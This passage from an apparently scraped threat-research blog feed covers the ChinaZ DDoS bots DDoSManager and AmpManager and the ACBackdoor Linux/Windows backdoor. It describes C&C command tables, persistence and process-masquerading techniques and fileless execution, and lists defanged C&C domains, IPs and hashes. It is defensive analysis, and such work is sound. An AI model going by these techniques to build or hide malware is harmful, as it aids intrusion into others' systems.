&lt;td&gt;Executes a SSDP amplification flood against a target IP address&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;All amplifications&lt;/td&gt;
&lt;td&gt;0x11000007&lt;/td&gt;
&lt;td&gt;Executes all implemented amplification floods against a target IP address&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DNS amplification&lt;/td&gt;
&lt;td&gt;0x11000008&lt;/td&gt;
&lt;td&gt;Executes a DNS amplification flood against a target IP address&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Download HTTP&lt;/td&gt;
&lt;td&gt;0x11000009&lt;/td&gt;
&lt;td&gt;Downloads a given file to a target path via HTTP GET&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Execute command&lt;/td&gt;
&lt;td&gt;0x11000011&lt;/td&gt;
&lt;td&gt;Executes a target bash command in the target machine&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Update current time&lt;/td&gt;
&lt;td&gt;0x11000012&lt;/td&gt;
&lt;td&gt;Saves the time via gettimeofday&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Apply flood configurations&lt;/td&gt;
&lt;td&gt;0x11000023&lt;/td&gt;
&lt;td&gt;Applies flood configurations for each respective DDoS methodology&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;DDoSManager&lt;span class="hx:absolute hx:-mt-20" id="ddosmanager"&gt;&lt;/span&gt;
&lt;a href="#ddosmanager" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;In contrast to the two previously reported malware samples, DDoSManager seems
to be based on a completely different code base and network protocol.&lt;/p&gt;
&lt;p&gt;Although its overall functionality is similar to AmpManager due to the fact
that it’s also a DDoS bot, uses the same persistence mechanisms and overall
preliminary functionality before CNC communication, it’s important to highlight
that DDoSManager uses different DDoS attack methodologies than AmpManager.&lt;/p&gt;
&lt;p&gt;In addition, we noticed that this sample contains known Elknot/BillGates
artifacts, which are some of the most popular malware families leveraged by
ChinaZ.&lt;/p&gt;
&lt;p&gt;The following is a small write up from a
&lt;a href="https://www.novetta.com/wp-content/uploads/2015/06/NTRG_ElasticBotnetReport_06102015.pdf"target="_blank" rel="noopener"&gt;report by Novetta&lt;/a&gt;
covering in detail the internals of BillGates malware.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig20.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;If we take a closer look, we can see that these two C++ classes are also used
in DDoSManager:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig21.jpeg" alt="" loading="lazy" /&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig22.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This reinforces the connection between these malware samples and the developers
of Elknot/BillGates, and with respect to the ChinaZ umbrella, in addition to
the connections explained previously.&lt;/p&gt;
&lt;p&gt;As is the case with the previous samples, DDoSManager commences by setting
persistence mechanisms. The techniques applied are the same ones covered in
NewManager and AmpManager as previously mentioned. DDoSManager will use the
name SingTool to masquerade itself:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig23.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Interface and performance information will be collected as with the previous
samples. However, an additional thread will be launched.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig24.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This thread is in charge of listening for packets to then decode and parse them
for CNC communication.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig25.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;When we intercepted the network traffic we noticed that the traffic was
encoded:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig26.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After analysis we observed that packets were encoded and decoded with a simple
sub/xor algorithm. This algorithm is the following:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig27.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After applying this algorithm to each given packet, we can retrieve their plain
text version. The following is the structure of each packet after decoding:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig28.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Furthermore, the command ID will be extracted from each packet in order to
execute the desired task.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig29.jpeg" title="Command selection implementation in DDoSManager" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Command selection implementation in DDoSManager&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;DDoSManager supports a total of seven commands. These are the following:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;Specification&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Read configuration&lt;/td&gt;
&lt;td&gt;0x64&lt;/td&gt;
&lt;td&gt;Configuration is retrieved to the&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CNC Write configuration entry&lt;/td&gt;
&lt;td&gt;0x65&lt;/td&gt;
&lt;td&gt;Entry is added to the configuration file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HeartBeat&lt;/td&gt;
&lt;td&gt;0x66&lt;/td&gt;
&lt;td&gt;Beaconing command&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Not implemented&lt;/td&gt;
&lt;td&gt;0x67&lt;/td&gt;
&lt;td&gt;Not implemented&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Execute Manager Function&lt;/td&gt;
&lt;td&gt;0x68&lt;/td&gt;
&lt;td&gt;Invoke internal manager function&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Stop command&lt;/td&gt;
&lt;td&gt;0x69&lt;/td&gt;
&lt;td&gt;Stop an ongoing command&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Execute DDoS attack&lt;/td&gt;
&lt;td&gt;0x6a, 0x6b, 0x6c&lt;/td&gt;
&lt;td&gt;Execute a DDoS flood on a target IP address&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The malware sets a configuration file for the targets it will attempt to DDoS.
This configuration file is located at /tmp/Cfg.9:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig30.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;When a DDoS command is executed, a series of fields will be provided from the
CNC packet in order to execute the command. These fields are clearly shown on a
debug message in the binary:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig31.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;There are three different DDoS amplification algorithms supported. These are
SYN, UDP, and DNS amplifications. Interestingly, in the analyzed samples of
DDoSManager we found that the DNS amplification algorithm was not implemented.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig32.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We have analyzed three new malware variants in which we have named NewManager,
AmpManager, and DDoSManager.&lt;/p&gt;
&lt;p&gt;These three variants were found to be hosted together, sharing the same CNC
address, and are nearly identical in terms of overall preliminary
functionality.&lt;/p&gt;
&lt;p&gt;Some of the servers where the malware is hosted are also serving Windows DDoS
bots based on modified versions of Chinese RATs such as Gh0st and ServStart. It
is well-known that ChinaZ has utilized these malware families in previous
campaigns.&lt;/p&gt;
&lt;p&gt;In addition, we presented evidence that the Windows implants were infected with
common PE file infectors, also resembling a known pattern of ChinaZ Windows
malware samples seen in the past.&lt;/p&gt;
&lt;p&gt;Furthermore, we highlighted the use of a common compiler/toolchain used to
generate the discovered binaries which seems to be shared across a high number
of samples belonging to the ChinaZ umbrella. We also found artifact
similarities between the BillGates malware and DDoSManager, specifically the
name of two core C++ classes used by the malware.&lt;/p&gt;
&lt;p&gt;A technical analysis of the overall functionality and network protocol for each
of the discovered samples was provided explaining their main features and
capabilities.&lt;/p&gt;
&lt;p&gt;We believe these findings indicate the need by some ChinaZ threat actors to
update their malware toolsets, since they have not conducted a major retooling
process in years, and the majority of the older malware utilized by this group
is largely detected by Anti-Virus engines.&lt;/p&gt;
&lt;p&gt;The code from these samples are now indexed in Intezer Analyze so users can
detect and classify NewManager, AmpManager, DDoSManager, and other threats that
share code with these malware. We have also generated a
&lt;a href="https://github.com/intezer/yara-rules/blob/master/ChinaZ_Managers.yar"target="_blank" rel="noopener"&gt;YARA rule&lt;/a&gt;
which can be used by organizations to hunt for additional samples of these
threats.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;syn.l11l1[.]com
ccyk.l11l1[.]com
yk.l11l1[.]com
fd.l11l1[.]com
1bfa8af4b51d9fc54d4baa49df27116f44ce269da9123625c1f2ba17289ea2cd
625c57c7090e63472f2bd4d12bf5c821ac821327ee4274a728846fa0bb967b00
F0a2b4c223d6c0c537d9e75b38a2d9b4031485bcfc0c03da96a2b49d7f91591e
B79af4e394cbc8c19fc9b5410fa69b10325fd23f58bec330954caae135239a1f
Dda419d145d4ec7f0eec74ee6cf14ab0b35f22a1af7f39ffbe914c66c445bdf5
3be01b2b27a2cb7b7a852c6305f7a26f35d60fa80ab0050643d97486feaf09dd
33d44642d47488ca0e9fba1935944433e618ec212c5a24969aed406e7b50c611
E3e979d00006fb102279f1033d02bfb8d2ceb6b92c1377195ccb8daa36093c8b
4f5cfb805feb7576e594f1bb3b773ba0ca80e09e49bfb7e3507f815f774ac62d
8ad95b128ab477cc80cba9e4ddccc9d74d423415c17d2837d537c406e6ac81cd&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>ACBackdoor: Analysis of a New Multiplatform Backdoor</title><link>https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/</link><pubDate>Mon, 18 Nov 2019 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/</guid><description>
&lt;h2&gt;Introduction&lt;span class="hx:absolute hx:-mt-20" id="introduction"&gt;&lt;/span&gt;
&lt;a href="#introduction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We have discovered an undetected Linux backdoor which does not have any known
connections to other threat groups.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig1.png" title="VirusTotal detection rate of ACBackdoor Linux variant" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;VirusTotal detection rate of ACBackdoor Linux variant&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In addition, we have found Windows variants of the same malware. As is common
with most Windows variants, this variant has a higher detection rate than its
Linux counterpart.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig2.png" title="VirusTotal detection rate of ACBackdoor Windows variant" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;VirusTotal detection rate of ACBackdoor Windows variant&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This malware seems to be unknown or at least undocumented to the infosec
community, which may indicate retooling of a known threat group or the
formation of a new one.&lt;/p&gt;
&lt;p&gt;We have dubbed this malware &lt;strong&gt;ACBackdoor&lt;/strong&gt;. ACBackdoor provides arbitrary
execution of shell commands, arbitrary binary execution, persistence, and
update capabilities.&lt;/p&gt;
&lt;p&gt;In this blog post we will explain the technical analysis of both ACBackdoor
variants and highlight their differences in implementation. The findings we
present strongly suggest the group behind this malware has previous experience
targeting Linux systems, and is expanding its coverage by porting ACBackdoor to
Windows.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The Linux binary is a statically linked ELF file, while the Windows binary is a
dynamically linked PE file.&lt;/p&gt;
&lt;p&gt;Both instances of this malware are practically identical in terms of overall
functionality, with minor implementation differences. However, if we pay close
attention to each instance we can draw some conclusions regarding the nature of
the authors.&lt;/p&gt;
&lt;p&gt;Both malware instances share the same protocol to communicate with the same CNC
server. However, these instances have different delivery vectors:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig3.png" title="VirusTotal intelligence graph depicting connections between the samples" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;VirusTotal intelligence graph depicting connections between the samples&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Initially, we located the Linux instance in a Romanian-hosted server.
Unfortunately, we do not have further insights regarding the delivery vector
used to deploy the Linux variant.&lt;/p&gt;
&lt;p&gt;We later discovered via
&lt;a href="https://twitter.com/nao_sec/status/1193891281530830848"target="_blank" rel="noopener"&gt;@nao_sec&lt;/a&gt; that the
Windows instance was delivered via Fallout Exploit Kit.&lt;/p&gt;
&lt;p&gt;To understand more about the delivery system of Fallout Exploit Kit we highly
recommend reading nao_sec&amp;rsquo;s comprehensive
&lt;a href="https://nao-sec.org/2019/07/steady-evolution-of-fallout-v4.html"target="_blank" rel="noopener"&gt;article&lt;/a&gt; on
the subject matter.&lt;/p&gt;
&lt;p&gt;This finding suggests that the operators behind ACBackdoor had sufficient
funding to purchase Fallout Exploit Kit and that they are currently using it to
spread their Windows malware via malvertising campaigns.&lt;/p&gt;
&lt;h3&gt;Backdoor Analysis&lt;span class="hx:absolute hx:-mt-20" id="backdoor-analysis"&gt;&lt;/span&gt;
&lt;a href="#backdoor-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The Windows variant of this malware does not represent a complex threat in
terms of Windows malware. Conversely, the Linux variant shows more
sophistication in regards to the implementation details used to replicate the
same functionality.&lt;/p&gt;
&lt;p&gt;We first noticed the compiled Windows binary was generated using the MinGW
compiler.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig4.png" title="MinGW strings identified in ACBackdoor Windows instance" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;MinGW strings identified in ACBackdoor Windows instance&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This indicates information regarding the malware authors’ development
environment preference.&lt;/p&gt;
&lt;p&gt;The main function is not obfuscated and appears to be straightforward in logic.
In the Windows variant we can see how some strings are decoded in the beginning
of the function.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig5.png" title="Windows instance main function" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Windows instance main function&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We can see Linux-specific strings among the decrypted strings, such as a kernel
thread process name or a path belonging to a Linux file system.&lt;/p&gt;
&lt;p&gt;These same strings are used in the Linux instance of this malware. In addition,
these strings do not have any other cross-references among the binary, which
may imply that the developers were too lazy to remove them when they were
porting code from their Linux implementation onto their Windows version.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig6.png" title="ACBackdoor Linux instance main function" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;ACBackdoor Linux instance main function&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After initial string decoding the malware serializes the victim by collecting
architecture, system, and MAC address information.&lt;/p&gt;
&lt;p&gt;The way the Windows variant collects this information is by calling the
correspondent Windows API functions in order to retrieve the subject
information such as IsWow64Process; to determine the architecture of the
operating system or GetAdaptersInfo to retrieve the system’s MAC address.&lt;/p&gt;
&lt;p&gt;The Linux variant, on the other hand, uses a different technique that mainly
relies on uname system call to retrieve architecture and system information, in
addition to a combination of socket / ioctl system calls to retrieve the MAC
address.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig7.png" title="Similarities in code structure between ACBackdoor Linux and Windows instances" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Similarities in code structure between ACBackdoor Linux and Windows instances&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After this information is collected, the malware will concatenate each of these
fields, add the string ‘0.5’ likely denoting some kind of versioning ID, and
will then MD5 hash the resulting string.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig8.png" title="Compromised host information collected from both ACBackdoor samples" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Compromised host information collected from both ACBackdoor samples&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After victim information has been serialized, the malware will apply some
persistence mechanisms. The Windows instance will initialize a registry entry
so that the malware will be executed on system start-up. The Linux instance
will set up various symbolic links and add an initrd script for the malware to
also run on system start-up. The Windows instance uses one of the most common
registry entries used in Windows malware:
&lt;code&gt;HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The use of this registry entry indicates this actor’s level of inexperience by
using less conventional persistence techniques to write more complex Windows
malware.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig9.png" title="Persistence implementations across ACBackdoor samples" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Persistence implementations across ACBackdoor samples&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Based on the names chosen to label the persistent instances of this malware, we
can see that the Windows instance tries to masquerade itself as a Microsoft
Anti Spyware utility (&lt;code&gt;MsMpEng.exe&lt;/code&gt;), while the Linux instance attempts to
masquerade itself as the Ubuntu release update utility (&lt;code&gt;update-notifier&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The Linux instance will then set an independent session via fork/setsid system
calls in order to create an independent process. It will close unnecessary file
descriptors using prlimit/close system calls to then rename its process name to
that of a kernel thread, specifically &lt;code&gt;[kworker/u8:7-ev]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If we run the ps command on a compromised Linux system we will see this process
name among the listed processes:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig10.png" title="Process renaming performed by ACBackdoor Linux instance" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Process renaming performed by ACBackdoor Linux instance&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Command and Control Communication&lt;span class="hx:absolute hx:-mt-20" id="command-and-control-communication"&gt;&lt;/span&gt;
&lt;a href="#command-and-control-communication" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The malware will proceed to communicate with the CNC. Both malware instances
share the same CNC server and transport protocol, that being HTTPS.&lt;/p&gt;
&lt;p&gt;The malware will send an initial packet to the CNC with the previously
collected victim information. The client does not appear to verify the
authenticity of the certificate on TLS handshake, therefore the communication
is prone to MITM attacks.&lt;/p&gt;
&lt;p&gt;The malware creates the headers for the HTTP request in which some custom
headers are included which embed specific information for the server to
collect. The following visual is an intercepted initial TLS stripped packet
from a compromised Linux host which displays these headers:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig11.png" title="Intercepted TLS stripped HTTPS packet" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Intercepted TLS stripped HTTPS packet&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Among the different headers we can highlight the &lt;code&gt;Access-Control&lt;/code&gt; and
&lt;code&gt;X-Access&lt;/code&gt; headers which are unconventional HTTP headers.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Access-Control contains the base64 encoded string of the command type. In
this case the type &lt;code&gt;info&lt;/code&gt;, which is the preliminary packet sent to the CNC.&lt;/li&gt;
&lt;li&gt;X-Access contains an MD5 hash used as an integrity check for the contained
payload. This MD5 hash was previously generated after victim information was
collected as documented above.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The payload is base64 encoded and it contains the crafted string containing all
of the compromised host’s collected information.&lt;/p&gt;
&lt;p&gt;The malware then expects a response to this preliminary package in order to
execute commands.&lt;/p&gt;
&lt;p&gt;There is a total of four commands supported by ACBackdoor: these being info,
run, execute, and update.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig12.png" title="Control flow graph similarities on command handling across samples" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Control flow graph similarities on command handling across samples&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;As previously mentioned, the info command is really the first point of contact
between the client and the CNC.&lt;/p&gt;
&lt;p&gt;The run command is intended to run arbitrary shell commands. The execute
command is capable of executing a given binary in the compromised host, and the
update command updates the client itself.&lt;/p&gt;
&lt;p&gt;These commands vary in implementation between the different instances of this
malware. However, an additional hint may indicate the authors behind this
malware have more experience writing Linux malware. This can be found by
examining the implementation of the execute command.&lt;/p&gt;
&lt;p&gt;In the Windows instance, this command is implemented via CreateFile and
CreateProcess Win32 API functions. In Linux, a combination of memfd_create,
fork, and execveat system calls are used:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig13.png" title="Execute command implementation across ACBackdoor samples" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Execute command implementation across ACBackdoor samples&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;At first glance, the implementations of these execute commands may not seem to
be much different from each other in terms of functionality. However, it’s
important to highlight that the Linux instance implementation does provide a
means to execute fileless code. This is not the case with the Windows
implementation.&lt;/p&gt;
&lt;p&gt;These specific details along with the analysis above have led us to conclude
that the authors behind ACBackdoor are more comfortable operating in Linux
systems, while they may currently be experimenting in Windows by porting their
malware to this system.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We have covered the technical analysis of this multi-platform malware which we
have named ACBackdoor. After further analysis of the Windows instance we have
gotten a sense that the authors behind ACBackdoor have a lack of experience in
writing Windows malware.&lt;/p&gt;
&lt;p&gt;In addition, we have identified some strings belonging to the Linux version
which are also present in the Windows instance of ACBackdoor, implying that the
Linux version was likely written before the Windows version.&lt;/p&gt;
&lt;p&gt;Apart from having a lower detection rate, the Linux version is overall similar
in logic to the Windows variant. The Linux implant has noticeably been written
better than the Windows implant, highlighting the implementation of the
persistence mechanism along with the different backdoor commands and additional
features not seen in the Windows version such as independent process creation
and process renaming.&lt;/p&gt;
&lt;p&gt;We can assess with high confidence that this threat group has experience
developing Linux-based malware. Because there is no attributable information
documented on this backdoor, there is a possibility that some known Linux-based
threat group is updating its toolset.&lt;/p&gt;
&lt;p&gt;In addition, this is further evidence that Linux variants have consistently
lower detection rates than Windows.&lt;/p&gt;
&lt;p&gt;The binary code from both ACBackdoor implants have been indexed in Intezer
Analyze. Users can now detect and classify Linux and Windows variants of this
threat by uploading their suspicious file(s) or scanning the code running in
their endpoint via &lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=acbackdoor-analysis-of-a-new-multiplatform-backdoor&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/"target="_blank" rel="noopener"&gt;analyze.intezer.com&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;5d51dbf649d34cd6927efdb6ef082f27a6ccb25a92e892800c583a881bbf9415
907e1dfde652b17338d307b6a13a5af7a8f6ced93a7a71f7f65d40123b93f2b8
193[.]29[.]15[.]147
185[.]198[.]56[.]53&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>APT37: Final1stspy Reaping the FreeMilk</title><link>https://research.intezer.com/blog/2018/10/apt37-final1stspy-reaping-the-freemilk/</link><pubDate>Wed, 03 Oct 2018 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2018/10/apt37-final1stspy-reaping-the-freemilk/</guid><description>
